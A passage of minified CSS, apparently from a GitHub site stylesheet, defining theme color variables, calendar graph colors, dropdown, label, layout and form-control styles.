0.06);--color-calendar-graph-day-L1-bg:#0e4429;--color-calendar-graph-day-L2-bg:#006d32;--color-calendar-graph-day-L3-bg:#26a641;--color-calendar-graph-day-L4-bg:#39d353;--color-calendar-graph-day-L1-border:rgba(255, 255, 255, 0.05);--color-calendar-graph-day-L2-border:rgba(255, 255, 255, 0.05);--color-calendar-graph-day-L3-border:rgba(255, 255, 255, 0.05);--color-calendar-graph-day-L4-border:rgba(255, 255, 255, 0.05);--color-user-mention-fg:var(--color-scale-yellow-0);--color-user-mention-bg:var(--color-scale-yellow-8);--color-text-white:var(--color-scale-white)}}:root,[data-color-mode=light][data-light-theme*=light],[data-color-mode=dark][data-dark-theme*=light]{--color-workflow-card-connector:var(--color-scale-gray-3);--color-workflow-card-connector-bg:var(--color-scale-gray-3);--color-workflow-card-connector-inactive:var(--color-border-default);--color-workflow-card-connector-inactive-bg:var(--color-border-default);--color-workflow-card-connector-highlight:var(--color-scale-blue-4);--color-workflow-card-connector-highlight-bg:var(--color-scale-blue-4);--color-workflow-card-bg:var(--color-scale-white);--color-workflow-card-inactive-bg:var(--color-canvas-inset);--color-workflow-card-header-shadow:rgba(0, 0, 0, 0);--color-workflow-card-progress-complete-bg:var(--color-scale-blue-4);--color-workflow-card-progress-incomplete-bg:var(--color-scale-gray-2);--color-discussions-state-answered-icon:var(--color-scale-white);--color-bg-discussions-row-emoji-box:rgba(209, 213, 218, 0.5);--color-notifications-button-text:var(--color-fg-muted);--color-notifications-button-hover-text:var(--color-fg-default);--color-notifications-button-hover-bg:var(--color-scale-gray-2);--color-notifications-row-read-bg:var(--color-canvas-subtle);--color-notifications-row-bg:var(--color-scale-white);--color-icon-directory:var(--color-scale-blue-3);--color-checks-step-error-icon:var(--color-scale-red-4);--color-calendar-halloween-graph-day-L1-bg:#ffee4a;--color-calendar-halloween-graph-day-L2-bg:#ffc501;--color-calendar-halloween-graph-day-L3-bg:#fe9600;--color-calendar-halloween-graph-day-L4-bg:#03001c;--color-calendar-graph-day-bg:#ebedf0;--color-calendar-graph-day-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L1-bg:#9be9a8;--color-calendar-graph-day-L2-bg:#40c463;--color-calendar-graph-day-L3-bg:#30a14e;--color-calendar-graph-day-L4-bg:#216e39;--color-calendar-graph-day-L1-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L2-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L3-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L4-border:rgba(27, 31, 35, 0.06);--color-user-mention-fg:var(--color-fg-default);--color-user-mention-bg:var(--color-attention-subtle);--color-text-white:var(--color-scale-white)}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=light]{--color-workflow-card-connector:var(--color-scale-gray-3);--color-workflow-card-connector-bg:var(--color-scale-gray-3);--color-workflow-card-connector-inactive:var(--color-border-default);--color-workflow-card-connector-inactive-bg:var(--color-border-default);--color-workflow-card-connector-highlight:var(--color-scale-blue-4);--color-workflow-card-connector-highlight-bg:var(--color-scale-blue-4);--color-workflow-card-bg:var(--color-scale-white);--color-workflow-card-inactive-bg:var(--color-canvas-inset);--color-workflow-card-header-shadow:rgba(0, 0, 0, 0);--color-workflow-card-progress-complete-bg:var(--color-scale-blue-4);--color-workflow-card-progress-incomplete-bg:var(--color-scale-gray-2);--color-discussions-state-answered-icon:var(--color-scale-white);--color-bg-discussions-row-emoji-box:rgba(209, 213, 218, 0.5);--color-notifications-button-text:var(--color-fg-muted);--color-notifications-button-hover-text:var(--color-fg-default);--color-notifications-button-hover-bg:var(--color-scale-gray-2);--color-notifications-row-read-bg:var(--color-canvas-subtle);--color-notifications-row-bg:var(--color-scale-white);--color-icon-directory:var(--color-scale-blue-3);--color-checks-step-error-icon:var(--color-scale-red-4);--color-calendar-halloween-graph-day-L1-bg:#ffee4a;--color-calendar-halloween-graph-day-L2-bg:#ffc501;--color-calendar-halloween-graph-day-L3-bg:#fe9600;--color-calendar-halloween-graph-day-L4-bg:#03001c;--color-calendar-graph-day-bg:#ebedf0;--color-calendar-graph-day-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L1-bg:#9be9a8;--color-calendar-graph-day-L2-bg:#40c463;--color-calendar-graph-day-L3-bg:#30a14e;--color-calendar-graph-day-L4-bg:#216e39;--color-calendar-graph-day-L1-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L2-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L3-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L4-border:rgba(27, 31, 35, 0.06);--color-user-mention-fg:var(--color-fg-default);--color-user-mention-bg:var(--color-attention-subtle);--color-text-white:var(--color-scale-white)}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=light]{--color-workflow-card-connector:var(--color-scale-gray-3);--color-workflow-card-connector-bg:var(--color-scale-gray-3);--color-workflow-card-connector-inactive:var(--color-border-default);--color-workflow-card-connector-inactive-bg:var(--color-border-default);--color-workflow-card-connector-highlight:var(--color-scale-blue-4);--color-workflow-card-connector-highlight-bg:var(--color-scale-blue-4);--color-workflow-card-bg:var(--color-scale-white);--color-workflow-card-inactive-bg:var(--color-canvas-inset);--color-workflow-card-header-shadow:rgba(0, 0, 0, 0);--color-workflow-card-progress-complete-bg:var(--color-scale-blue-4);--color-workflow-card-progress-incomplete-bg:var(--color-scale-gray-2);--color-discussions-state-answered-icon:var(--color-scale-white);--color-bg-discussions-row-emoji-box:rgba(209, 213, 218, 0.5);--color-notifications-button-text:var(--color-fg-muted);--color-notifications-button-hover-text:var(--color-fg-default);--color-notifications-button-hover-bg:var(--color-scale-gray-2);--color-notifications-row-read-bg:var(--color-canvas-subtle);--color-notifications-row-bg:var(--color-scale-white);--color-icon-directory:var(--color-scale-blue-3);--color-checks-step-error-icon:var(--color-scale-red-4);--color-calendar-halloween-graph-day-L1-bg:#ffee4a;--color-calendar-halloween-graph-day-L2-bg:#ffc501;--color-calendar-halloween-graph-day-L3-bg:#fe9600;--color-calendar-halloween-graph-day-L4-bg:#03001c;--color-calendar-graph-day-bg:#ebedf0;--color-calendar-graph-day-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L1-bg:#9be9a8;--color-calendar-graph-day-L2-bg:#40c463;--color-calendar-graph-day-L3-bg:#30a14e;--color-calendar-graph-day-L4-bg:#216e39;--color-calendar-graph-day-L1-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L2-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L3-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L4-border:rgba(27, 31, 35, 0.06);--color-user-mention-fg:var(--color-fg-default);--color-user-mention-bg:var(--color-attention-subtle);--color-text-white:var(--color-scale-white)}}.hx_color-icon-directory{color:var(--color-icon-directory)}.hx_comment-box--tip::after{background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default)) !important}.hx_keyword-hl{background-color:var(--color-search-keyword-hl)}.hx_dot-fill-pending-icon{color:var(--color-attention-emphasis) !important}@media(max-width: 543px){[data-color-mode=light][data-light-theme*=dark],[data-color-mode=dark][data-dark-theme*=dark]{--color-fg-default: var(--color-scale-gray-0);--color-canvas-default: var(--color-scale-gray-8)}}@media(max-width: 543px)and (prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=dark]{--color-fg-default: var(--color-scale-gray-0);--color-canvas-default: var(--color-scale-gray-8)}}@media(max-width: 543px)and (prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=dark]{--color-fg-default: var(--color-scale-gray-0);--color-canvas-default: var(--color-scale-gray-8)}}:root[data-color-mode=dark] .entry-content [href$="#gh-light-mode-only"],:root[data-color-mode=dark] .comment-body [href$="#gh-light-mode-only"],:root[data-color-mode=dark] .readme [href$="#gh-light-mode-only"]{display:none}:root[data-color-mode=light] .entry-content [href$="#gh-dark-mode-only"],:root[data-color-mode=light] .comment-body [href$="#gh-dark-mode-only"],:root[data-color-mode=light] .readme [href$="#gh-dark-mode-only"]{display:none}@media(prefers-color-scheme: dark){:root[data-color-mode=auto] .entry-content [href$="#gh-light-mode-only"],:root[data-color-mode=auto] .comment-body [href$="#gh-light-mode-only"],:root[data-color-mode=auto] .readme [href$="#gh-light-mode-only"]{display:none}}@media(prefers-color-scheme: light){:root[data-color-mode=auto] .entry-content [href$="#gh-dark-mode-only"],:root[data-color-mode=auto] .comment-body [href$="#gh-dark-mode-only"],:root[data-color-mode=auto] .readme [href$="#gh-dark-mode-only"]{display:none}}.colorblind-themes-v1{--color-open-fg: var(--color-success-fg);--color-open-emphasis: var(--color-success-emphasis);--color-open-muted: var(--color-success-muted);--color-open-subtle: var(--color-success-subtle);--color-closed-fg: var(--color-danger-fg);--color-closed-emphasis: var(--color-danger-emphasis);--color-closed-muted: var(--color-danger-muted);--color-closed-subtle: var(--color-danger-subtle)}.dropdown-item:focus [class*=color-text-],.dropdown-item:hover [class*=color-text-]{color:inherit !important}.filter-item.selected [class*=color-text-]{color:inherit !important}body:not(.intent-mouse) .hx_focus-input:focus+.hx_focus-target{box-shadow:var(--color-btn-shadow-input-focus)}.reset-btn-override{font-weight:600;color:var(--color-fg-muted)}.reset-btn-override:hover{color:var(--color-accent-fg);text-decoration:none}.reset-btn-override:hover .reset-btn-override-icon{background-color:var(--color-accent-emphasis)}.reset-btn-override-icon{width:18px;height:18px;padding:1px;margin-right:3px;color:var(--color-fg-on-emphasis);text-align:center;background-color:var(--color-neutral-emphasis);border-radius:6px}.is-auto-complete-loading .form-control{padding-right:30px;background-image:url("/images/spinners/octocat-spinner-32.gif");background-size:16px}.hx_breadcrumb-header .header-search-wrapper{height:32px}.hx_breadcrumb-header .notification-indicator .mail-status,.hx_breadcrumb-header .unread-indicator{background-color:var(--color-accent-emphasis);background-image:none}.hx_breadcrumb-header .Header-link,.hx_breadcrumb-header .Header-current-page{color:var(--color-header-logo)}.hx_breadcrumb-header-crumbs .Header-link,.hx_breadcrumb-header-logo{transition:opacity .1s ease-out}.hx_breadcrumb-header-crumbs .Header-link:hover,.hx_breadcrumb-header-logo:hover{color:var(--color-header-text);opacity:.75}.hx_breadcrumb-header-divider{color:var(--color-header-divider)}.Header-button{background-color:var(--color-scale-gray-8);border:1px solid var(--color-scale-gray-6);border-radius:6px;transition:background-color .2s cubic-bezier(0.3, 0, 0.5, 1)}.Header-button .octicon{color:var(--color-header-logo)}.Header-button:hover,.Header-button:focus,.Header-button:active{background-color:transparent}.Header-button:hover .octicon,.Header-button:focus .octicon,.Header-button:active .octicon{color:var(--color-header-text);box-shadow:none}.hx_breadcrumb-header-dropdown::before,.hx_breadcrumb-header-dropdown::after{display:none}.hx_breadcrumb-header-dropdown .dropdown-item{line-height:40px;transition:background-color 60ms ease-out}.hx_breadcrumb-header-dropdown .dropdown-item:hover{color:var(--color-fg-default);background-color:var(--color-canvas-subtle)}.icon-sponsor,.icon-sponsoring{transition:transform .15s cubic-bezier(0.2, 0, 0.13, 2);transform:scale(1)}.btn:hover .icon-sponsor,.btn:focus .icon-sponsor,.Label:hover .icon-sponsor,.Label:focus .icon-sponsor,.btn:hover .icon-sponsoring,.btn:focus .icon-sponsoring,.Label:hover .icon-sponsoring,.Label:focus .icon-sponsoring{transform:scale(1.1)}.icon-sponsor{overflow:visible !important}.hx_kbd{display:inline-block;min-width:21px;padding:0 4px;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Helvetica,Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji";font-size:12px;font-weight:400;line-height:1.5;color:var(--color-fg-muted);text-align:center;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px;box-shadow:none}.hx_hit-user em,.hx_hit-package em,.hx_hit-marketplace em,.hx_hit-highlighting-wrapper em,.hx_hit-commit em,.hx_hit-issue em,.hx_hit-repo em,.hx_hit-wiki em{font-style:normal;font-weight:600}.SelectMenu-list.select-menu-list{max-height:none}@media(max-width: 543px){.SelectMenu-modal{width:unset !important}}.SelectMenu--hasFilter .SelectMenu-list{contain:content}.SelectMenu-item:disabled,.SelectMenu-item[aria-disabled=true]{color:var(--color-fg-muted);pointer-events:none}.SelectMenu .SelectMenu-item .is-filtering{color:var(--color-fg-muted)}.SelectMenu .SelectMenu-item .is-filtering b{color:var(--color-fg-default)}label.SelectMenu-item{font-weight:400}label.SelectMenu-item[aria-checked=true]{font-weight:600}.hx_SelectMenu-modal-no-animation{animation:none}.Box--responsive{margin-right:-15px;margin-left:-15px;border-right:0;border-left:0;border-radius:0}.Box--responsive .Box-row--unread{position:relative;box-shadow:none}.Box--responsive .Box-row--unread::before{position:absolute;top:36px;left:20px;display:inline-block;width:8px;height:8px;color:#fff;content:"";background-image:linear-gradient(#54a3ff, #006eed);background-clip:padding-box;border-radius:50%}.Box--responsive .Box-header{border-right-width:0;border-left-width:0;border-radius:0}@media(min-width: 544px){.Box--responsive{margin-right:0;margin-left:0;border:1px solid var(--color-border-default);border-radius:6px}.Box--responsive .Box-header{border-right-width:1px;border-left-width:1px;border-top-left-radius:6px;border-top-right-radius:6px}.Box--responsive .Box-row--unread{box-shadow:2px 0 0 var(--color-accent-emphasis) inset}.Box--responsive .Box-row--unread::before{display:none}}@media(max-width: 767px){.page-responsive .dropdown-menu,.page-responsive .dropdown-item{padding-top:8px;padding-bottom:8px}.page-responsive .hx_dropdown-fullscreen[open]>summary::before{background-color:var(--color-primer-canvas-backdrop)}.page-responsive .hx_dropdown-fullscreen .dropdown-menu{position:fixed;top:auto;right:16px !important;bottom:20%;left:16px !important;width:auto !important;max-width:none !important;max-height:calc(80% - 16px);margin:0 !important;overflow-y:auto;transform:none;animation:dropdown-menu-animation .24s cubic-bezier(0, 0.1, 0.1, 1) backwards;-webkit-overflow-scrolling:touch}.page-responsive .hx_dropdown-fullscreen .dropdown-menu::before,.page-responsive .hx_dropdown-fullscreen .dropdown-menu::after{display:none}@keyframes dropdown-menu-animation{0%{opacity:0;transform:scale(0.9)}}.page-responsive .hx_dropdown-fullscreen .dropdown-item{padding-top:16px;padding-bottom:16px}}.hx_rsm-close-button{display:none !important}@media(max-width: 767px){.page-responsive .hx_rsm[open]>summary::before{background-color:var(--color-primer-canvas-backdrop)}.page-responsive .hx_rsm .select-menu-modal,.page-responsive .hx_rsm-modal{position:fixed !important;top:75px;right:16px !important;left:16px;display:flex;width:auto;height:80%;margin:0;flex-direction:column;animation:hx_rsm-modal-animation .24s .12s cubic-bezier(0, 0.1, 0.1, 1) backwards}.page-responsive .hx_rsm--auto-height .select-menu-modal{top:auto;bottom:20%;height:auto;max-height:calc(80% - 16px)}.page-responsive .hx_rsm .select-menu-header,.page-responsive .hx_rsm .select-menu-text-filter.select-menu-text-filter{padding:16px;border-top-left-radius:inherit;border-top-right-radius:inherit}.page-responsive .hx_rsm tab-container,.page-responsive .hx_rsm-content{display:flex;min-height:0;flex-direction:column;flex:auto}.page-responsive .hx_rsm .select-menu-list{flex:auto;max-height:none;-webkit-overflow-scrolling:touch}.page-responsive .hx_rsm-content>.select-menu-item{flex-shrink:0}.page-responsive .hx_rsm .select-menu-item{padding-top:16px;padding-bottom:16px;padding-left:40px}.page-responsive .hx_rsm .close-button,.page-responsive .hx_rsm-close-button{position:relative;display:block !important}.page-responsive .hx_rsm .close-button::before,.page-responsive .hx_rsm-close-button::before{position:absolute;top:-16px;right:-16px;bottom:-16px;left:-16px;content:""}.page-responsive .hx_rsm .close-button .octicon-x,.page-responsive .hx_rsm-close-button .octicon-x{color:var(--color-fg-muted)}.page-responsive .hx_rsm .select-menu-loading-overlay{animation-delay:1s}.page-responsive .hx_rsm .select-menu-button::before,.page-responsive .hx_rsm-trigger::before{animation:hx_rsm-trigger-animation .24s cubic-bezier(0, 0, 0.2, 1) backwards}@keyframes hx_rsm-trigger-animation{0%{opacity:0}}@keyframes hx_rsm-modal-animation{0%{opacity:0;transform:scale(0.9)}}.page-responsive .hx_rsm-dialog{max-width:none;height:auto;max-height:80%;transform:none}.page-responsive .hx_rsm-dialog-content{flex:1;min-height:0}}@media(max-width: 767px)and (max-height: 500px){.page-responsive .hx_rsm .select-menu-modal,.page-responsive .hx_rsm-modal{bottom:16px;height:auto}}.select-menu-modal{border-color:var(--color-border-default);box-shadow:var(--color-shadow-large)}.select-menu-header,.select-menu-filters{background:var(--color-canvas-overlay)}.select-menu-text-filter input{padding:5px 12px}.select-menu-item{text-align:left;background-color:var(--color-canvas-overlay);border-top:0;border-right:0;border-left:0}.preview-selected .tabnav--responsive{border-bottom:1px solid var(--color-border-default)}.tabnav--responsive .tabnav-tabs{z-index:1}@media(max-width: 767px){.tabnav--responsive .tabnav-tab{background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-default);border-left:0;border-radius:0}.tabnav--responsive .tabnav-tab:first-child{border-left:1px solid var(--color-border-default)}.tabnav--responsive .tabnav-tab[aria-selected=true],.tabnav--responsive .tabnav-tab.selected{background-color:var(--color-canvas-default);border-bottom:0}}@media(max-width: 767px){.hx_sm-hide-drag-drop textarea{border-bottom:1px solid var(--color-border-default);border-bottom-right-radius:6px;border-bottom-left-radius:6px}.hx_sm-hide-drag-drop .hx_drag-and-drop{display:none !important}}@media(hover: none){.tooltipped:hover::before,.tooltipped:hover::after{display:none}}@media(hover: none){.markdown-body h1 .octicon-link,.markdown-body h2 .octicon-link,.markdown-body h3 .octicon-link,.markdown-body h4 .octicon-link,.markdown-body h5 .octicon-link,.markdown-body h6 .octicon-link{visibility:visible !important}}.min-width-lg{min-width:1012px}.min-width-xl{min-width:1280px}.min-height-0{min-height:0 !important}.ws-pre-wrap{white-space:pre-wrap}.cursor-pointer{cursor:pointer}.cursor-default{cursor:default}@media screen and (prefers-reduced-motion: no-preference){.hide-no-pref-motion{display:none !important;visibility:hidden}}@media screen and (prefers-reduced-motion: reduce){.hide-reduced-motion{display:none !important;visibility:hidden}}.line_through{text-decoration:line-through;text-decoration-thickness:1%}.gap-2{gap:8px}.starring-container .unstarred,.starring-container.on .starred{display:block}.starring-container.on .unstarred,.starring-container .starred{display:none}.starring-container.loading{opacity:.5}.user-following-container .follow,.user-following-container.on .unfollow{display:inline-block}.user-following-container.on .follow,.user-following-container .unfollow{display:none}.user-following-container.loading{opacity:.5}.hidden-when-empty:empty{display:none !important}.cm-number,.cm-atom{color:var(--color-codemirror-syntax-constant)}auto-check .is-autocheck-loading,auto-check .is-autocheck-successful,auto-check .is-autocheck-errored{padding-right:30px}auto-check .is-autocheck-loading{background-image:url("/images/spinners/octocat-spinner-16px.gif")}auto-check .is-autocheck-successful{background-image:url("/images/modules/ajax/success.png")}auto-check .is-autocheck-errored{background-image:url("/images/modules/ajax/error.png")}@media only screen and (-webkit-min-device-pixel-ratio: 2),only screen and (-moz-min-device-pixel-ratio: 2),only screen and (min-device-pixel-ratio: 2),only screen and (min-resolution: 192dpi),only screen and (min-resolution: 2dppx){auto-check .is-autocheck-loading,auto-check .is-autocheck-successful,auto-check .is-autocheck-errored{background-size:16px 16px}auto-check .is-autocheck-loading{background-image:url("/images/spinners/octocat-spinner-32.gif")}auto-check .is-autocheck-successful{background-image:url("/images/modules/ajax/success@2x.png")}auto-check .is-autocheck-errored{background-image:url("/images/modules/ajax/error@2x.png")}}.hx_text-body{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Helvetica,Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji" !important}.hx_disabled-form-checkbox-label.form-checkbox.disabled{color:var(--color-fg-muted)}.autocomplete-item{background-color:transparent}.ColorSwatch{display:inline-block;width:1em;height:1em;vertical-align:middle;border:1px solid var(--color-border-subtle);border-radius:6px}.label-select-menu .color,.ColorSwatch{border-radius:2em}.details-overlay[open]>.dropdown-item:hover{color:inherit;background:var(--color-canvas-default)}remote-input[loading] .form-control{padding-right:30px;background-image:url("/images/spinners/octocat-spinner-32.gif");background-size:16px}.hx_form-control-spinner{position:absolute;top:24px;right:24px;display:none}@media(min-width: 767px){.hx_form-control-spinner{top:18px;right:18px}}.hx_form-control-spinner-wrapper{position:relative}.hx_form-control-spinner-wrapper .is-loading.form-control{padding-right:28px}.hx_form-control-spinner-wrapper .is-loading+.hx_form-control-spinner{display:block}.drag-and-drop{border-color:var(--color-border-default)}.input-sm{min-height:28px}.btn .octicon-triangle-down{margin-right:0}.UnderlineNav-item.selected .UnderlineNav-octicon,.UnderlineNav-item[aria-current]:not([aria-current=false]) .UnderlineNav-octicon,.UnderlineNav-item[role=tab][aria-selected=true] .UnderlineNav-octicon{color:inherit}.break-line-anywhere{line-break:anywhere !important}.form-checkbox input[type=checkbox],.form-checkbox input[type=radio]{margin-top:4px}.status-indicator-success::before,.status-indicator-failed::before{content:none}.markdown-title code{padding:2px 4px;font-size:.9em;line-height:1;background-color:var(--color-neutral-muted);border-radius:6px}.hx_ActionList-content>.hx_ActionList-item-label,.hx_ActionList-content>.hx_ActionList-item-visual{pointer-events:none}.IssueLabel--big.lh-condensed{display:inline-block;padding:0 10px;font-size:12px;font-weight:500;line-height:22px !important;border:1px solid transparent;border-radius:2em}.hx_IssueLabel{--perceived-lightness: calc( ((var(--label-r) * 0.2126) + (var(--label-g) * 0.7152) + (var(--label-b) * 0.0722)) / 255 );--lightness-switch: max(0, min(calc((var(--perceived-lightness) - var(--lightness-threshold)) * -1000), 1))}:root .hx_IssueLabel,[data-color-mode=light][data-light-theme*=light] .hx_IssueLabel,[data-color-mode=dark][data-dark-theme*=light] .hx_IssueLabel{--lightness-threshold: 0.453;--border-threshold: 0.96;--border-alpha: max(0, min(calc((var(--perceived-lightness) - var(--border-threshold)) * 100), 1));color:hsl(0deg, 0%, calc(var(--lightness-switch) * 100%));background:rgb(var(--label-r), var(--label-g), var(--label-b));border-color:hsla(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) - 25) * 1%), var(--border-alpha))}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=light] .hx_IssueLabel{--lightness-threshold: 0.453;--border-threshold: 0.96;--border-alpha: max(0, min(calc((var(--perceived-lightness) - var(--border-threshold)) * 100), 1));color:hsl(0deg, 0%, calc(var(--lightness-switch) * 100%));background:rgb(var(--label-r), var(--label-g), var(--label-b));border-color:hsla(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) - 25) * 1%), var(--border-alpha))}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=light] .hx_IssueLabel{--lightness-threshold: 0.453;--border-threshold: 0.96;--border-alpha: max(0, min(calc((var(--perceived-lightness) - var(--border-threshold)) * 100), 1));color:hsl(0deg, 0%, calc(var(--lightness-switch) * 100%));background:rgb(var(--label-r), var(--label-g), var(--label-b));border-color:hsla(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) - 25) * 1%), var(--border-alpha))}}[data-color-mode=light][data-light-theme*=dark] .hx_IssueLabel,[data-color-mode=dark][data-dark-theme*=dark] .hx_IssueLabel{--lightness-threshold: 0.6;--background-alpha: 0.18;--border-alpha: 0.3;--lighten-by: calc(((var(--lightness-threshold) - var(--perceived-lightness)) * 100) * var(--lightness-switch));color:hsl(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) + var(--lighten-by)) * 1%));background:rgba(var(--label-r), var(--label-g), var(--label-b), var(--background-alpha));border-color:hsla(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) + var(--lighten-by)) * 1%), var(--border-alpha))}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=dark] .hx_IssueLabel{--lightness-threshold: 0.6;--background-alpha: 0.18;--border-alpha: 0.3;--lighten-by: calc(((var(--lightness-threshold) - var(--perceived-lightness)) * 100) * var(--lightness-switch));color:hsl(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) + var(--lighten-by)) * 1%));background:rgba(var(--label-r), var(--label-g), var(--label-b), var(--background-alpha));border-color:hsla(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) + var(--lighten-by)) * 1%), var(--border-alpha))}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=dark] .hx_IssueLabel{--lightness-threshold: 0.6;--background-alpha: 0.18;--border-alpha: 0.3;--lighten-by: calc(((var(--lightness-threshold) - var(--perceived-lightness)) * 100) * var(--lightness-switch));color:hsl(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) + var(--lighten-by)) * 1%));background:rgba(var(--label-r), var(--label-g), var(--label-b), var(--background-alpha));border-color:hsla(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) + var(--lighten-by)) * 1%), var(--border-alpha))}}.signed-commit-badge-small,.signed-commit-badge-medium,.signed-commit-badge-large{display:inline-block;padding:0 7px;font-size:12px;font-weight:500;line-height:18px;white-space:nowrap;border:1px solid transparent;border-radius:2em;border-color:var(--color-border-default)}.signed-commit-badge-small{margin-top:0}.signed-commit-badge-large{padding-right:10px;padding-left:10px;line-height:22px}.topic-tag-action,.delete-topic-button,.topic-tag{display:inline-block;padding:0 7px;font-size:12px;font-weight:500;line-height:18px;white-space:nowrap;border:1px solid transparent;border-radius:2em;padding-right:10px;padding-left:10px;line-height:22px;color:var(--color-accent-fg);background-color:var(--color-accent-subtle);border:1px solid var(--color-topic-tag-border, transparent)}.topic-tag-action:active,.topic-tag-action:hover,.delete-topic-button:active,.delete-topic-button:hover,.topic-tag:active,.topic-tag:hover{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.topic-tag{margin:0 .125em .333em 0}.topic-tag-outline{background:transparent}.topic-tag-action{display:inline-flex;padding-right:0;margin:.6em .5em 0 0}.delete-topic-button,.topic-tag-action .add-topic-button,.topic-tag-action .remove-topic-button{display:flex;width:24px;height:24px;padding:0;color:inherit;border-color:transparent;border-left:0;border-radius:2em;align-items:center;justify-content:center}.hx_Layout.hx_Layout--sidebar-hidden{grid-auto-flow:row;grid-template-columns:1fr !important}.hx_Layout.hx_Layout--sidebar-hidden .Layout-sidebar,.hx_Layout.hx_Layout--sidebar-hidden .Layout-divider,.hx_Layout.hx_Layout--sidebar-hidden .Layout-main{width:100% !important;grid-column:1 !important}.hx_Layout.hx_Layout--sidebar-hidden.Layout--sidebarPosition-flowRow-start .Layout-sidebar{grid-row:1}.hx_Layout.hx_Layout--sidebar-hidden.Layout--sidebarPosition-flowRow-start .Layout-main{grid-row:2/span 2}.hx_Layout.hx_Layout--sidebar-hidden.Layout--sidebarPosition-flowRow-end .Layout-sidebar{grid-row:2/span 2}.hx_Layout.hx_Layout--sidebar-hidden.Layout--sidebarPosition-flowRow-end .Layout-main{grid-row:1}.hx_Layout.hx_Layout--sidebar-hidden.Layout--sidebarPosition-flowRow-none .Layout-sidebar{display:none}.hx_Layout.hx_Layout--sidebar-hidden.Layout--divided{--Layout-gutter: 0}.hx_Layout.hx_Layout--sidebar-hidden.Layout--divided .Layout-divider{height:1px;grid-row:2}.hx_Layout.hx_Layout--sidebar-hidden.Layout--divided .Layout-divider.Layout-divider--flowRow-hidden{display:none}.hx_Layout.hx_Layout--sidebar-hidden.Layout--divided .Layout-divider.Layout-divider--flowRow-shallow{height:8px;margin-right:0;background:var(--color-canvas-inset);border-color:var(--color-border-default);border-style:solid;border-width:1px 0}.hx_Layout.hx_Layout--sidebar-hidden.Layout--divided .Layout-main{grid-row:3/span 1}.hx_Layout.hx_Layout--sidebar-hidden.Layout--divided.Layout--sidebarPosition-flowRow-end .Layout-sidebar{grid-row:3/span 1}.hx_Layout.hx_Layout--sidebar-hidden.Layout--divided.Layout--sidebarPosition-flowRow-end .Layout-main{grid-row:1}.hx_Layout--sidebar{top:60px;box-sizing:border-box;overscroll-behavior:contain}.branch-action-item.color-border-default{border-color:var(--color-border-default) !important}.user-status-container .input-group-button .btn{height:32px}.reponav-item,.pagehead-tabs-item{border-radius:4px 4px 0 0}.reponav-item.selected,.pagehead-tabs-item.selected{border-top-color:#f9826c}.auto-search-group>.octicon{top:8px}.subnav-search>button.mt-2{margin-top:6px !important}.completeness-indicator-success{color:var(--color-fg-on-emphasis);background-color:var(--color-btn-primary-bg)}.pagination-loader-container button.color-bg-default.border-0{border-top-left-radius:6px;border-top-right-radius:6px}.avatar-user{border-radius:50% !important}@media(max-width: 543px){.minimized-comment>details>div{padding-left:0 !important}}@media(max-width: 543px){.minimized-comment>details>summary>div{flex-direction:column}.minimized-comment>details>summary>div .review-comment-contents{align-left:flex-start}}.hx_disabled-input{margin-right:-4px !important;margin-left:-4px !important}.hx_disabled-input sidebar-memex-input[disabled]:not(.no-pointer) *{cursor:pointer}.hx_disabled-input sidebar-memex-input:not([disabled]) .Box-row--hover-gray{background-color:var(--color-canvas-subtle)}.hx_disabled-input .Box-row--hover-gray svg.octicon-pencil{visibility:hidden;opacity:0}.hx_disabled-input .Box-row--hover-gray:hover,.hx_disabled-input .Box-row--hover-gray:focus{padding-top:8px !important;padding-bottom:8px !important}.hx_disabled-input .Box-row--hover-gray:hover svg.octicon-pencil,.hx_disabled-input .Box-row--hover-gray:focus svg.octicon-pencil{visibility:visible;opacity:1}.hx_disabled-input input:not(:disabled){margin-top:8px !important;margin-bottom:8px !important}.hx_disabled-input input[disabled],.hx_disabled-input select[disabled],.hx_disabled-input .form-control[contenteditable=false]{padding-right:0;padding-left:0;margin-right:0;color:var(--color-fg-default) !important;background:transparent;border:0;box-shadow:none;opacity:1}.hx_disabled-input text-expander input[type=text][disabled]{display:none}.hx_disabled-input text-expander input[type=text][disabled]+div.form-control{display:block}.hx_disabled-input text-expander input[type=text]+div.form-control{display:none}.hx_disabled-input input[type=date][disabled]{display:none}.hx_disabled-input input[type=date][disabled]+div.form-control{display:block}.hx_disabled-input input[type=date]+div.form-control{display:none}.hx_disabled-input input[disabled]::placeholder,.hx_disabled-input 